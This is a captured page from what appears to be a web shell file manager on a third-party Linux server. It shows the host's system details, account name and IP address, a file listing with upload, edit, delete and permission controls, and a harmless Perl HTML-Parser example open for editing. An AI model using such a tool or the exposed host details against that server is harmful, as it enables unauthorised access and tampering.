[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
perl-HTML-Parser
/
eg
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 hanchors
1,138 B
SET
[ EDIT ]
|
[ DEL ]
📄 hdump
541 B
SET
[ EDIT ]
|
[ DEL ]
📄 hform
1,846 B
SET
[ EDIT ]
|
[ DEL ]
📄 hlc
547 B
SET
[ EDIT ]
|
[ DEL ]
📄 hrefsub
2,782 B
SET
[ EDIT ]
|
[ DEL ]
📄 hstrip
1,714 B
SET
[ EDIT ]
|
[ DEL ]
📄 htext
548 B
SET
[ EDIT ]
|
[ DEL ]
📄 htextsub
788 B
SET
[ EDIT ]
|
[ DEL ]
📄 htitle
434 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: htitle
#!/usr/bin/perl # This program will print out the title of an HTML document. use strict; use HTML::Parser (); sub title_handler { my $self = shift; $self->handler(text => sub { print @_ }, "dtext"); $self->handler(end => "eof", "self"); } my $p = HTML::Parser->new(api_version => 3, start_h => [\&title_handler, "self"], report_tags => ['title'], ); $p->parse_file(shift || die) || die $!; print "\n";